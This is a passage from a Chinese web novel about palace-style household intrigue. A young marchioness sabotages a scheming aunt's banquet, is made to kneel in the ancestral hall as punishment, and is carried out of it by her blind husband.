好在这一回小厮没有摆出一张迷惑脸,表示自己不知道齐司延的去向。
小厮禀告道:“侯爷一大早便去了云鹤观,归期未定,命小的转告夫人,这几日不必等他用膳。”
江元音心情复杂。
一大早便去了云鹤观?
是去见元奚**求药的吗?
只是为何连招呼都不打,去得如此突然,好似要逃难?
看来昨晚的事不用求证也有了定论,如雪燕、清秋所言,十有**真是她对他用强,吓得他连夜离开了侯府,避她不及。
……他这么纯情?
也罢,左右是她唐突欺负了他,是她不对。
他去云鹤观待几日缓缓也好,消化下情绪,再见面或许不那么尴尬。
和齐司延之间的事暂时搁浅,江元音开始着手筹划三日后的归宁宴。
一如秦氏所言,陆氏的要的归宁宴的规格,侯府库房那点银钱根本办不到。
当着账房先生的面,她愁眉苦脸地叹息,借着想看看从前府中办宴都是从何处采购的缘由拿到了账本。
江元音研究了整整一日的账本。
陆氏倒也没那么愚笨,整个账本看下来,侯府支出没什么异常,只是家大人多,每房每院的月钱与吃穿用度占了大头,陆氏喜奢靡之风,其丈夫儿子太过平庸,账本上月月都是入不敷出。
除掉这些开销,她重点翻阅的是侯府药材的采购。
侯府给齐司延用的药材有两个来源。
一是每月定期从药材行采购的,她细细看了遍所罗列的药材种类,没发现什么异常。
二是圣上的赏赐的,一眼扫过去,全是珍稀名贵的药材。
圣上的赏赐是一年一次,皆在每年九月二十五日,齐司延生辰时。
赏赐的不止是珍稀药材,还有黄金白银。
江元音翻完了陈年老账,才发现自齐司延承袭侯爵那年起,圣上便年年在他生辰时赏赐黄金白银与珍稀药材,至今都未断过。
这也是侯府账本上,唯一收入大于支出的时候。
圣上赏赐一回,够陆氏一家吸血寄生一年。
不过这样看来,圣上待齐家算是仁厚,很是关照齐司延。
若是圣上知道陆氏一家的所作所为,会否替齐司延主持公道?
这个念想在她心里生根发芽,谨慎起见,她将账本誊抄了一份,以备不时之需,又将每月采购的药材和圣上赏赐的药物誊抄了一份。
次日,江元音去给陆氏请安时,主动提出想让秦氏帮她拟定参加归宁宴的具体人数名单。
不知会一声和秦氏往来,怕陆氏知晓后要生疑,影响她日后的计划。
陆氏果然不情愿,瞟了她一眼,道:“你和她倒是交好。”
江元音抬手轻抚肚子,道出早备好的说辞:“是侄媳不争气,肚子迟迟未有消息,到时维航过继给我,我与堂嫂同为维航的母亲,要叨扰堂嫂的地方很多,便想着先和堂嫂多些往来,提前熟络适应。”
她顿了顿,又补充道:“再来侄媳今日欲出府为归宁宴采购,怕忙不过来,耽搁了正事,才想托堂嫂帮帮忙。”
这字字句句都是顺着陆氏的心意说的,陆氏听得舒心,只觉得江元音这个榆木疙瘩算是开了窍,难得地笑了笑,允了,“嗯,那你忙活去吧。”
“谢二叔母,侄媳告退。”
江元音当然不会如陆氏所愿,自掏腰包贴补齐婧涵的归宁宴。
她采购的标准完全是看侯府库房里还有多少。
中间她抽空去了趟药材行。
邓立文已经收到一批从江南运输过来的珍稀药材,看见江元音好似看到了财神爷,乐呵呵地将她迎进门,“夫人要的药材全部备齐了,就等着您过来取呢!”
江元音轻“嗯”了声,“你悉数装到门口的马车上。”
她平常会打着要吃西街糕点的由头,命清秋来这询问进度,早一阵
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便知道药材齐了,却没有一个合适的理由带回侯府,怕被陆氏发现,打草惊蛇。
今日用采购掩人耳目,可以顺利将药材带回侯府,待齐司延从云鹤观回来,便能着手帮他解毒了。
邓立文吩咐药行的人将药材搬上马车,等待的间隙,江元音掏出昨日誊写的单子,递给他,问道:“这是行主每月供给侯府的药材?”
邓立文接过,看完后点头,“正是,是出了什么问题吗?”
江元音摇头,结束了对话。
她只是确认一下,侯府的账单是否有作假。
离开了药材行,江元音去了街角的药店,这次递过去的不仅是药行供给侯府的药材,还有圣上每年赏赐的那份,她递银子询问店主:“这些药材可否同用,是否相克?”
店主认真研究后回道:“这些都是健体养生的好药,并不相克,可放心同用。”
江元音离开了药店,雪燕忍不住问道:“夫人为何先前不问邓行主?”
邓立文是药材行行主,定熟知药理,问他多省事,不必再多跑一趟了。
江元音回道:“他知晓我身份,说的未必全是实话。”
她不惧麻烦亦不想惹麻烦,行事小心谨慎些好。
雪燕了然地点点头,感慨出声:“夫人待侯爷真真是极好,事事考虑周全!说起来侯爷离府已有两日,今日当回府了吧?”
江元音只是含糊地回了句“或许吧”。
今日他若回府了,她便亲力亲为的为他熬一碗药,权当为醉酒那夜的唐突赔罪了。
他“躲”了两日了,也该回府了吧?
然而这一日,齐司延并没有回侯府。
他仍在云鹤观。
隐秘的小房间里,他手握茶盏,若有所思地眺望窗外夜色。
一炷香后,身后的暗门开了,曲休迈了出来。
齐司延没有回头,沉声问:“招了?”
“回侯爷……”曲休迟疑回道:“……他自尽了。”
齐司延蹙眉握紧了茶盏。
陆氏背后到底是谁?
某些细碎的线索一一浮现脑海,组合成了一个惊骇的答案。
……难道是他?
第53章 去找侯爷
一直到归宁宴当日,齐司延都没回府。
江元音心里难免疑惑担忧。
他真是为了躲她吗?
不会是身体出了问题吧?
待结束了归宁宴,她得去一趟云鹤观才行。
陆氏一家极其重视此次归宁宴,齐文台和齐明宏今日都告假休沐,就为迎接国公府的许四郎许子枫。
巳时一到,齐文台、陆氏领着侯府众人在门口等候,可谓给足了许子枫重视与排场。
盼着盼着,国公府的马车终于出现在街尾,朝侯府驶来。
陆氏畅想着攀上国公府,让她儿齐明宏可以升官的美梦,喜不自禁地笑着张望,不忘出声同江元音确认一句:“你可都按我要求的准备好了?”
江元音回道:“唯恐二叔母失望,侄媳已竭尽所能。”
陆氏心想以江元音的嫁妆,要办一场她要求的隆重归宁宴自然不成问题,这几日也听嬷子说江元音早出晚归的忙活,甚是上心,其次,她谅其不敢忤逆得罪她。
是以,她不疑有他,眉开眼笑地望着越来越近的马车,开始打量主马车后跟了几辆运礼的马车,估算着这乘龙快婿带回来了多少回礼。
江元音也笑,等着看一会陆氏如何救场。
马车停在了正门口,许子枫和齐婧涵双双下了马车。
齐婧涵梳了新妇发髻,一身喜庆惹眼的红衣,满脸初为人妇的羞涩笑意,挽着许子枫的手臂,恨不能昭告天下,这是她的如意郎君。
“父亲,母亲!女儿回来了!”
“见过岳父、岳母。”
一群亲戚立在门口,含笑作揖行礼。
江元音杵在原地,噙着淡笑望着。
许子枫生得还算不错,仪表堂堂的,难怪齐婧涵如此中意。
等到他们打完了招呼,江元音才出声道:“时值初夏,后院湖中的荷花展露了头角,离午饭还有一个多时辰,大家不妨先移步后院水榭楼台观戏赏荷?”
陆氏心头涌上些许不悦。
荷花?
她之前要求的可是华丽隆重的布景,心目中想的都是雍容华贵的牡丹。
这**到底是江南小户出来的,真是小家子气得很!
算了,看在天气不错,在后院观景看戏的确舒坦的份上,先不与她计较。
陆氏压抑着心中的不悦,暗示齐文台领着许子枫往后院走,自己则和齐婧涵在后跟上。
后院。
桌椅已摆放好,戏台上角已就位,只等人齐开唱。
江元音同齐文台、陆氏与许子枫、齐婧涵以及齐明宏、秦氏坐在主桌,其余各房相继落座。
江元音恭顺看向陆氏,只等她发话上点心,让戏台开唱。
陆氏示意可以上点心了,又笑容和谐地询问许子枫:“子枫可有想听的曲目?”
许子枫客气场面地回道:“子枫对戏曲没甚研究,岳父岳母做主便好。”
齐文台饮了一杯酒,大手一挥地冲江元音道:“那便唱他们最拿手的即可,只要子枫听得高兴,重重有赏!”
许子枫欣然享受着齐家人的讨好,余光不着痕迹地打量着江元音。
倒是个美人胚子,可惜嫁给了齐司延那个命不久矣的废人。
堂堂侯夫人,没有半点架子,在这忙前忙后,侯府如今当家做主的人是谁,一目了然。
他只是一个妾室所生是庶子,在国公府的地位本就尴尬。
齐明宏是个**,他若能吞下定宁侯府为他所用,娶到齐婧涵,不亏。
大家各有心思,都觉得自己是这门亲事的赢家,是以神色里皆是得意愉悦的笑。
直到戏台上的角儿开唱。
这戏班子倒真是江元音费心从遇仙楼请来的,刻意挑选出了在座都耳熟能详,能引发“情绪共鸣”的曲目。
即齐司延父母,齐腾夫妇驰骋战场,杀敌建功的赫赫往事。
不唱唱这些,他们怕是要忘了,定宁侯府从何而来,姓甚名谁了。
老虎离了家,蝼蚁便占山为王。
最先变了脸色的人自然是齐文台与陆氏,但碍于许子枫在场,不能发怒,不住深呼吸调整情绪。
许子枫的脸色亦不好看,他今日可不是来听齐腾夫妇的丰功伟绩的。
齐家安排这出戏有何深意?
嘲讽他一个庶子没有作
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为?
陆氏想转移许子枫的注意力,便笑道:“子枫,尝尝点心,看看合不合胃口?”
齐婧涵察觉到许子枫脸色不对,忙伸手去端碟子,试图喂他吃点心来示好。
可一低头更尴尬了,先前一直望着戏台没留意,这才发现偌大的桌子上竟没几块点心,格外寒酸。
许子枫没了先前的客气,冷脸道:“我不饿。”
母女俩默契瞪向江元音,眼里的责备怒气呼之欲出。
她怎么办事的?!
江元音眨眨眼,一派不知自己做错什么的无辜与迷茫。
她们再不爽,在许子枫面前也只能憋着。
台上唱得慷慨激昂,台下气氛凝重。
齐家人望着许子枫越来越冷的脸色,如坐针毡,逮着台上唱完一出的间隙,忙招呼着他移步内厅用午膳。
末了,瞪了江元音一眼,大有要跟她秋后算账的凶狠。
江元音顺势杵在原地,等他们走得远些,低声吩咐清秋:“将我早晨交予你的东西和信送去云鹤观。”
清秋应声,趁着无人注意离席。
众人回厅内坐定,气氛已不似先前融洽。
陆氏不住给齐文台、齐明宏使眼色,示意他们同许子枫交谈缓和气氛。
许子枫绷着脸,一言不发。
一直到下人上到第五道菜,他望着每份碗碟里那不足一口的份量,再压不住心里的火,怒而起身,“岂有此理,欺人太甚!侯府若不欢迎我大可明说,何必做这副寒酸样,我堂堂国公府,不差这一口吃食!”
齐婧涵吓了一跳,忙伸手去拉他,“子枫哥哥,不……”
许子枫没给她说话的机会,挥开她的手,甩袖离去。
齐家父子忙不迭地追上去挽留解释,齐婧涵眼冒剑光地朝江元音看来,各种狠话已经在喉咙口,但余光看着许子枫迈出了大厅,跺脚埋怨地望了陆氏一眼,提着裙子追了出去。
全场哗然。
陆氏猛拍桌案,怒道:“**,你好大的胆子,敢故意搞砸婧涵的归宁宴,让侯府难堪,今日我定要替齐家的列祖列宗,好好教训教训你!”
第54章 他不会不管她
江元音起身,还是那副低眉顺眼的样子,“侄媳愚昧,不知是做错了什么惹怒了堂妹夫,令二叔母大发雷霆,这三日侄媳尽心尽力操持归宁宴,不知何错之有?”
“你还敢装傻!”陆氏面色充血发红,“你且说说,今日的戏班子是怎么回事?你准备的那些点心和这午膳又是怎么一回事?零星几道,样样一口,你江家便是教你这样待客的?你是巴不得国公府笑我们侯府食不果腹,饭都吃不饱吗?!”
江元音抬眼,委屈回道:“那戏台班子是常驻遇仙楼唱戏的,是汴京呼声高叫座的角儿,唱的亦是他们的拿手好戏,讲得是父亲母亲,骁勇善战的往事,若是父亲、母亲还在世,今日也定会为婧涵妹妹嫁得良人而开心,侄媳不知二叔母是不满意遇仙楼的戏班,还是不愿听到与父亲、母亲相关的戏文?”
此话一出,全场一片倒吸冷气的声音。
谁都知道答案是后者,可没人敢戳破,陆氏更不会承认。
江元音又接着道:“无论是看戏时的点心,还是午膳的餐食,皆是用心了解过二叔母平日设宴待客的喜好去准备的,之所以份量不如往日,也是因为库房银钱不足,侄媳亦想达到二叔母的要求,令二叔母满意,可巧妇难为无米之炊,侄媳……有心无力……”
呵,想要她贴钱补她的面子,绝无可能。
陆氏瞟到几房妾室那看好戏的眼神,心里怒火中烧,恨不能撕烂江元音的嘴,“信口雌黄,满嘴胡言!”
“侄媳所言句句属实,断不敢有半句虚言,”江元音一脸无辜,“趁着的大家都在,二叔母可唤账房先生,带着账本过来,大家一看便知,侄媳真的没有撒谎。”
她说着,长长叹了口气,又道:“我本想拿自己的嫁妆贴补,但侯爷说侯府无论做甚都不可动我的嫁妆,而以二叔母的做派,更是不可能接受我拿嫁妆来操办归宁宴,我知道侯爷、二叔母都是心疼我,我亦怕惹你们不悦,这才断了这个念想,奈何侯府库房银钱实在不多,还是令二叔母失望了……”
江元音惯会用夸捧的话去堵人,陆氏此刻便被噎得说不出半个字。
唤账房先生来查账,无疑是当众承认,她持家无度,侯府快挥霍一空。
更不能继续指责江元音不贴补侯府,那无疑是承认她觊觎其嫁妆!
她之前觉得江元音温吞,说东不敢往西的好拿捏,谁知竟如此死板,半点不知变通。
非得让她明说把嫁妆拿出来,她才懂吗?
还是她在揣着明白装糊涂?
陆氏心绪起伏,**元音的话架住,可众目睽睽之下,她今日不收拾她,既咽不下这口气,更会颜面扫地失了威信,之后让侯府众人如何服她?!
下一瞬,看热闹的妾室们抓准时间开口了,一个个表情夸张,好似刚知道什么惊天的消息一般。
“什么?侯府的银钱竟不够办一场像样的归宁宴?这怎地可能?”
“是啊,姐姐,你执掌中馈多年,怎么会发生这种事?”
“姐姐该不会把所有钱都拿去给婧涵陪嫁了吧?那我们下月的月钱呢?”
“姐姐疼女儿,也不能不顾侯府上下的死活啊……”
“闭嘴,”陆氏高声喝道:“短不了你们吃喝,谁再嘴碎,便给我滚出侯府去!”
妾室们不服止声,避着陆氏,连翻了好几个白眼,饶有兴致的望向江元音,等着她再一副蠢样的揭穿陆氏,她们好继续看戏。
陆氏哪能不知道她们的想法,厉声冲江元音道:“**,今日人多,我给你留几分薄面,多说无益,你去祠堂,跪在齐家列祖列宗的面前好好反省,什么时候想明白自己错哪了,什么时候再出来!”
语罢高声喊道:“来人,带**去祠堂!”
江元音似是害怕得瑟缩了下,颤声道:“侄媳虽仍不明白错在何处,但二叔母要如何罚,侄媳都认,只要二叔母
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能消气便好,只是可否等侄媳侍候侯爷用过晚膳?”
齐司延去了云鹤观这件事她并未声张,从陆氏的反应来看,似乎也并不知道他不在府上。
陆氏无所畏惧的冷笑,在众人面前摆足了气势架子,“让你的丫鬟去传话,司延要是需要你陪同用膳,便来找我要人,我正好当面同他聊聊你今日的所作所为。”
“你今日破坏的是婧涵的归宁宴,折损的却是我侯府的颜面,司延性子再好,也断不会包庇你今日之过!”
“司延来了,要如何责罚我愿听听他的意见,司延若没来,便看你反省得如何,我再来决定如何罚你!”
在陆氏看来,齐司延轻易不会踏出青松院一步,近十年更没来过静怡轩一回。
让江元音去祠堂罚跪是对齐司延态度的一种试探,她觉得齐司延不会为了江元音来静怡轩找她。
那么到时,出了祠堂,她要打要骂,就没甚顾虑了。
她非得扒她一层皮不可!
几个嬷嬷听令朝江元音围过来。
雪燕忙护在江元音身前,“夫人没错,你们不能……”
江元音拉住雪燕,朝她摇了摇头,温声叮嘱:“你且听二叔母说的去给侯爷传话,莫要担心,二叔母只是在气头上,等她气消了便知是误会我了,不会再罚我的。”
“可……”
“雪燕。”江元音直直望着她,使了个眼色,重声又唤住她。
雪燕会意,强压下担忧,应声点头。
江元音并不反抗,仍是那副温吞好欺负的样子,非常恭顺听话地跟着邓嬷往祠堂走。
反抗指不定会换来暴力对待,想想都不划算。
何况她正可以顺势利用,玩一出“苦肉计”,让那避了她好几日的齐司延回府,何乐不为?
经过王嬷一事、还有他给她送静息丸、记得她生辰,为她庆生等等,她笃定他不会管她。
尤其在看了她送去的东西与信后。
第55章 当众抱她
江元音被关进了齐家祠堂。
邓嬷离开时,趾高气昂地放话:“夫人好生跪在列祖列宗面前反省,若是想明白自己错哪了,唤门口的丫鬟去跟我家夫人传话。”
邓嬷故意关上了祠堂的门。
除了牌位前的供桌上有两盏微弱的烛火,屋里没有其余光线,大门一关,满屋的牌位,想想都瘆人。
**这温温柔柔的江南女子,能撑几时?
要不了多久,就要跟她家夫人认错!
江元音乐得轻松,根本不怕。
牌位有甚好怕的?
活人可比**险恶得多。
而且门一关,没人盯着她,她也不用装模作样地跪着。
静谧的屋内,江元音仰头看向供桌上的牌位,在看到齐司延的父母,齐腾和洛青莞的牌位时,目光停驻。
今日后院水榭楼台的戏曲,整个侯府,她听得最认真。
两位是当之无愧的大英雄,她由衷敬佩。
是以,她在两人的牌位前跪下,虔诚拜了拜。
她张了张唇,“父亲、母亲”这样的称呼卡在了嗓子眼。
严格来说,她和齐司延并未拜堂行礼,当日坐高堂的是齐文台的陆氏,这亲昵的称呼叫起来恐有些唐突冒犯。
现世太平,是他们戎马一生换来的,齐家众人也在他们的丰功伟绩的庇护下,在汴京享受着荣华富贵,他们若泉下有知,唯一挂念的当是齐司延吧。
在等待齐司延回府前,她双手合十,同他们说话。
“齐将军,洛将军,二位安心,侯爷这些年虽遭了很多罪,但从未一蹶不振,他像你们一样的坚韧,不曾放弃自己。”
她记得她第一次见到他时,他坐在窗边,抱着盲文刻板。
预感自己快要失明,没有自怨自艾,而是未雨绸缪的提前学习盲文。
在药罐子中长大,却没有变得乖戾残暴,阴晴不定,憎恨世界。
他甚至能记住她这个名义上妻子的生辰,为她准备长寿面。
齐司延,本就是顶好的人。
她沉声郑重道:“替侯爷解毒的药已备好,我一定会让侯爷好起来的,二位若在天有灵,请保佑我行动顺遂,惩陆氏等恶人,护侯爷无恙。”
江元音低声和两位说着话,并不觉得时间漫长。
她相信要不了多久,在宵禁前,齐司延会回府,然后派曲休过来接她。
就如同之前让曲休陪着她处置王嬷,去仓库拿回存放她嫁妆的库房钥匙一样。
然而天色未黑,她便听到了屋外的动静。
守在门外的丫鬟忽然扬声唤了句:“见过侯爷!”
江元音一怔,有些怀疑自己的耳朵。
侯爷?
不是曲休,而是齐司延本人来了?
下一瞬倒真听到了曲休声音:“还不快开门!”
“是、是……”
吱呀一声,祠堂的门开了。
江元音转头,视野里是几日不见的齐司延,他一身浅色的衣裳,淡漠的俊脸配上不聚焦的双眸,有种游离在世俗外的距离感。
……竟真是齐司延本人来了。
江元音惊诧于自己竟有这么大的“面子”,能让齐司延亲自到祠堂来接她,她忙起身想迎上去,“侯爷……唔……”
可惜跪得太久,双腿发麻,一时使不上力道,好在她反应极快,及时伸手撑地。
轮椅上,齐司延原本涣散的双眸一紧。
……她到底跪了多久?
立在轮椅后方的曲休感受到齐司延骤降的气压,原本想上前搀扶,迈了一小步还是止住了步子,朝一旁的开门的丫鬟道:“愣着作甚?快去扶夫人。”
从夫人不慎跌入药浴池那夜,他便明白,他需得和夫人保持距离,否则定会惹侯爷不悦。
“无妨,”江元音摆摆手,顺势侧身,改跪为坐在拜垫上,一边捶腿缓和发麻的腿,一边冲齐司延扬声唤道:“侯爷怎么亲自来了?”
她既是真心惊讶,更是故意说与丫鬟听。
齐司延如此“重视”她,还不得传去陆氏耳里?
齐司延眸光涣散,面朝着她的方向,回道:“夫人在遭罪,为夫如
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何坐得住?”顿了顿,又关心问道:“来得迟了,夫人可有受伤?”
江元音心里一暖,眼底是动容与欣赏。
命清秋去云鹤观送信时,她心中有过顾虑,怕他还在介意五月初四她醉酒后的所作所为,还想再躲避一阵。
没成想,他不仅来得及时,此刻在丫鬟面前也很配合,没有冷落避开她,体贴又温柔。
不愧是她选中的盟友,很是默契靠谱。
江元音扯着嗓子回道:“没有受伤,只是跪得久了腿麻,一时行动不便,劳烦侯爷等我片刻。”
齐司延颔首,淡声吩咐曲休:“送本侯到夫人面前。”
“是,侯爷。”
轮椅停在了江元音面前,齐司延朝着前方伸手,摸索试探地唤了声:“夫人?”
江元音会意,伸手握住他的手,就着他手的力道起身。
下一刻,他将她往怀里一拉,大手揽住她的腰,动作利落果断地将她圈在自己的双腿上。
温香软玉在怀,这几日莫名空荡荡的感触消散,他唇角有若有似无的笑,温声道:“既然夫人行动不便,那为夫抱你回去。”
江元音被他的气息包裹,没有羞涩,而是揣摩起他的心思来。
他这是为了演给丫鬟看?
丫鬟上前大声阻拦道:“夫人做错了事,叔祖母命夫人在祠堂罚跪反省,侯爷可问过叔祖母了?叔祖母同意侯爷带走夫人……啊——”
没给她说完的机会,曲休直接拔剑,直指她的脖颈,冷声喝道:“放肆,这里是侯府,一切当以侯爷心意为准则,你连这都不懂,长颗脑袋实属多余!”
话音一落,他挥剑向前,锋利的剑刃毫不留情的划开丫鬟的脖颈,瞬间见血。
丫鬟吓得面色惨白,扑通直接跪倒在地,瑟瑟发抖着求饶:“奴婢知、知错……侯爷饶命!”
齐司延抱着江元音,喜怒难辨,徐声道:“你且去知会二叔母,夫人若是犯错,也该由本侯惩处,二叔母若是不满本侯今日所为,可来青松院与本侯说道。”
第56章 夫人是想始乱终弃?
齐司延将江元音抱回青松院。
准确的说是曲休推着两人回青松院。
一路上,曲休目不斜视,直视前方,极力降低自己的存在感。
江元音一路将侯府奴仆的惊呆的神色收入眼底,想到传到陆氏耳里,陆氏怕是要气疯,心情甚是愉悦。
炫耀张扬够了,她懂得适可而止,凑近齐司延耳畔,道:“侯爷放我下来吧,当心腿疼。”
她发麻的腿早就缓了过来,继续坐在他不便的双腿上,有些于心不忍的愧疚。
齐司延揽着她的纤腰未动:“不疼。”
江元音随口又找了个理由:“好多人瞧着,妾身不好意思。”
齐司延搁置在她腰间的大手移至她后脑勺,将她的脑袋轻按在自己胸口,“你不看他们便是。”
江元音:……?
耳畔是他沉稳有力的心跳,拉扯着她的心思从和陆氏的针锋相对里回到他身上。
不对劲。
他若真是被她醉酒后的孟浪之举吓到,此刻不该如此自然和她亲密才是。
怎么看,那晚她都是被亲的那一个。
江元音沉浸在自己的思绪里,未曾留意,齐司延的下巴不着痕迹地抵在她的脑袋上。
曲休越发坚定地直视前方。
回到青松院主屋,齐司延先是支开了雪燕清秋,命她们去备晚餐,又屏退了曲休。
屋内只剩下他们二人。
江元音正要从齐司延身上下来,被他按住腰身。
他直直地望着她,严肃问道:“你送过来的账本我已了解了个大概,你既没错,何故认罚?”
江元音觉得这样的距离,方便他看清楚她面上的表情也就没有挣脱,她低眼,“二叔母是长辈,妾身不敢不从。”
比起那晚的事,自然是收拾陆氏更重要。
“妾身也不愿惹二叔母不悦,只是二叔母想要的归宁宴,除非是动用妾身的嫁妆,否则实在达不到。”她又抬眼望向他,不安地问:“侯爷今日直接将我从祠堂带走,万一二叔母更生气可如何是好?”
齐司延耐人寻味的反问:“你既派人去寻我了,怎会不知如何是好?”
他知道她并非表面的这般怯懦无害。
她之前收拾王嬷,铲除陆氏安插在青松院的眼线,他全都看在眼里。
他也听过她和雪燕的对话,她远比她展示出来的要聪慧有想法。
他看到了她藏起来的利爪,才推波助澜地任她去对付陆氏。
反正,他会给她善后。
“侯爷是觉得我在同你告状,搬弄是非吗?”江元音睫毛颤了颤,一派委屈模样,“可之前分明是侯爷嘱咐我,有任何难处、要求或是旁的什么想法和打算皆可来找侯爷商议的啊。”
齐司延的思绪莫名飘回了她酒醉的那晚。
她此刻的表情像极了被他狠亲后的无辜委屈,在更多记忆涌上来前,他侧了侧头,不再看她,缓声:“我既回来了,便会处理此事。”
江元音不明白他为何突然要躲闪,但现在的她只关心陆氏的事,追问道:“侯爷打算如何处理?”
她承认她是故意搞砸归宁宴,故意让陆氏罚她,拍清秋去送誊抄的账本,也的确是在故意告状。
这是她对齐司延态度与实力的试探。
他要是处理不了陆氏挥空侯府的事,就更不要提陆氏给他**的事了。
“且先看二叔母作何反应,”冷静好情绪的齐司延不打算继续这个话题,转回头看着江元音,问道:“在祠堂跪了多久?膝盖可疼?”
“一个多时辰,膝盖不疼。”
“一个人,怕不怕?”
江元音摇头,“不怕,我同……父亲母亲说话,不怕的。”
齐司延眸光一紧,“……说什么?”
“说侯爷啊,”江元音莞尔,“父亲母亲定挂念侯爷,我便同他们说说侯爷的近况。”
江元音凑得更近,铺垫道:“妾身今日虔诚祷告了,有父亲母亲、齐家列祖列宗保佑,侯爷会好起来的。”
药材已备好,他人也回府,今晚便能熬给他喝了。
齐司延喉结上下滚动,满目动容。
……她待他的确真心实意。
江元音见聊
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完了陆氏的事,便想着手处理醉酒那夜的事了,于是委婉问道:“侯爷为何突然去了云鹤观?”
真是被她轻薄了,躲她?
齐司延隐去真相,不答反问:“夫人在信中说要和我解释道歉的,是什么事?”
江元音原本是信了雪燕、清秋所言的,但今日看他,念头又动摇了。
她试探地出声:“我酒量不好,那夜几杯桃花酿入腹便意识模糊,醒来后侯爷不在身边,可是我酒后失态,惹恼了侯爷?”
齐司延眯眼,周身气压降了降。
不记得了?
她主动诱他吻他,在他怀里安睡一夜,她全不记得了?
灼热的吻、缠绵的呼吸、亲密的相拥,全成了他一个人的记忆?
江元音察觉到他情绪的变化,暗叫不好。
一提到那晚便是这般反应,看来他去云鹤观还真是为了躲她。
好在她本就做好了道歉的准备,歉然道:“妾身那夜神志不清,所作所为皆是无心之举,还望侯爷海涵,莫与妾身计较,妾身定引以为戒,日后滴酒不沾,保证再不会那夜的事再也不会发生!”
“再也不发生那样的事?”齐司延气笑了,倾身逼近她,“夫人指得是哪样事呢?”
江元音没在他身上感受过这样迫人的气场,下意识的想要躲避,试图从他身上离开。
可齐司延大手锢住她的腰,不许她逃离,低声问道:“是主动投怀送抱,还是主动吻我,亦或者……要和我圆房生孩子?”
江元音瞳孔震了震,“我……我那夜都做了?”
齐司延轻笑:“不然呢?”
江元音如遭雷击。
原本以为顶多是强吻,没想到他们还圆房了?
她毫无记忆毫无感觉!
她本能的想否认,觉得这不可能,但又觉得以他的为人,更没可能和必要撒这种慌。
齐司延大手按住她的腰,将正天人交战的她往自己面前送,快要贴面的距离,声音轻而冷地问:“夫人,是想始乱终弃?”
再不发生那夜的事?
……休想。
第57章 霸气护妻
江元音很懵。
一时间都快要理解不了“始乱终弃”的意思了。
两人陷入诡异的沉默,直到雪燕敲了敲房门,“侯爷、夫人,晚餐备好了。”
江元音如蒙大赦,双手放在齐司延的双肩上,倾身凑近他的右耳。
齐司延对她的主动贴近很受用,压低的情绪缓和,按住她的大手也松了力道,等着她为刚刚的话道歉示好。
江元音提醒:“晚餐送来了,侯爷且先吃饭。”
语罢,因为他的松懈,她顺利离开他的怀抱。
她一边在他身侧落座,一边扬声冲门口道:“进来。”
察觉自己自作多情了,齐司延脸色沉了沉。
怀抱骤然空了,他的双手忽然有些不知该放在何处。
……她这算什么?
……欲擒故纵?
曲休、雪燕、清秋闻声才敢推门而入。
一进门三人互看了一眼,默契地瑟缩了下。
明明先前两人还难舍难分地抱在一起,这会是怎么了?
气氛怎地不太妙?
疑惑归疑惑,没人敢贸然询问。
雪燕和清秋如常布菜,曲休候在齐司延身侧。
江元音脑子里还在消化琢磨她和齐司延在她毫不知情的情况下竟然圆房了这件事,全然没去在意齐司延的神**绪,惯性地喂他吃晚餐。
可齐司延没有往日配合,并不张嘴。
江元音连续换了好几道菜,齐司延都不吃之后,她放下了碗筷,扬声问道:“侯爷还在生气?”
然而回答江元音的,不是齐司延,而是由远及近的,守院丫鬟着急忙慌的声音。
“叔祖母稍等,容奴婢禀告侯爷、夫人一声!”
“闪开!”
陆氏怒气冲冲地迈了进来。
江元音佯作慌乱地起身行礼:“二叔母。”
陆氏来得甚好,齐司延要怎么处理其挥空侯府这件事,她很是好奇。
这关乎她之后的每一步,也决定着她是否需要找其他“救兵”,例如告御状。
陆氏无视江元音,冲着齐司延指责道:“叔母一直觉得你是最省心的孩子,你怎地也犯起了糊涂,成了色令智昏之辈,令叔母好生失望!”
齐司延双目涣散,置若罔闻。
一如陆氏无视江元音一般,他对陆氏也没半点反应。
跟着陆氏的嬷嬷丫鬟瞅瞅陆氏,又瞅瞅齐司延,屋内气氛变得尴尬。
自己的话落在了地上,陆氏脸红了红,“司延,你是故意不搭理叔母吗?”
曲休清了清嗓子,出声提醒道:“侯爷耳力不佳,定是没听见叔祖母的话,叔祖母见谅。”
陆氏满脸不悦,却不得不扯着嗓子,更大声地重复了一遍。
齐司延依旧无动于衷。
一旁的江元音看明白了,他就是故意的。
以她对他耳力的了解,陆氏这个距离和音量,他即便是不能字字听清,也不可能一点声响都听不见。
因此,她更确认,他是站在她这边的。
曲休:“叔祖母不妨再大声一些?”
陆氏已是扯破喉咙在喊了,实在没法再大声,她怒瞪了曲休一眼,道:“你给我转述。”
“叔祖母那些话……”曲休为难拒绝:“曲休不敢转述,曲休万不敢斥责教训侯爷。”
陆氏气极,只得大步上前,走到齐司延轮椅旁,大声道:“我知你待人宽厚,又因为是圣上赐婚,所以不会轻易同**计较,但**今日错得离谱,我命她在祠堂反省思过是帮你给她立规矩,可你招呼不打直接将人从祠堂带走,还弄得府中上下皆知,是半点没顾及我的颜面,日后要我如何治下服众?”
听到丫鬟来禀告,她差点气得昏过去。
今日不出这口恶气,江元音日后还不得骑在她头上?
齐司延终于开口,不咸不淡道:“敢问二叔母,阿音犯了何错?”
阿音。
他声线清冷,这两个字他唤得亲昵,仿佛早已唤过无数次的熟稔。
江元音微怔。
这是她听他第一次唤她的名字,还……挺悦耳。
陆氏:“今日婧涵子枫归宁,府中
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不见半点隆重的布置,请来的戏台班子唱得全是与之无关的戏,打打杀杀的,半点不喜庆,看戏时就备了几块点心,午膳更是寒酸,空空如也的餐盘不见几口吃食,惹得子枫误会,以为我侯府是故意薄待他甩袖离开,今日种种传回了国公府,叫全汴京的贵人如何看待我侯府?”
齐司延轮椅另一侧的江元音不着痕迹地蹲身弯腰,离他的耳朵更近,委屈解释感慨道:“戏班子唱得是父亲母亲英勇杀敌的往事,我以为大家听了会与有荣焉,不成想落在二叔母耳里,竟只会觉得是打打杀杀不喜庆……”
“你闭嘴!”陆氏喝停江元音,“轮不到你说话!”
她继续冲齐司延道:“你一直是个沉稳有大局观的孩子,想来先前是听了**蛊惑,不知今日到底发生了什么,**破坏的不仅是归宁宴,更是国公府和侯府的关系,兹事体大,我这就将她带回祠堂受罚,明日一大早便领她去国公府登门谢罪!”
谢罪怎能空手?
这一回她要名正言顺让她交出所有嫁妆!
“阿音所言和二叔母所言一般无二,”齐司延道:“二叔母对阿音似是有偏见。”
他接着道:“婧涵父母尚在,亦有兄嫂,她的归宁宴本就与阿音没有干系,二叔母既要阿音辛劳,却未留足银钱,现下却又来责怪阿音办事不力,怎么看,此事错的都是二叔母。”
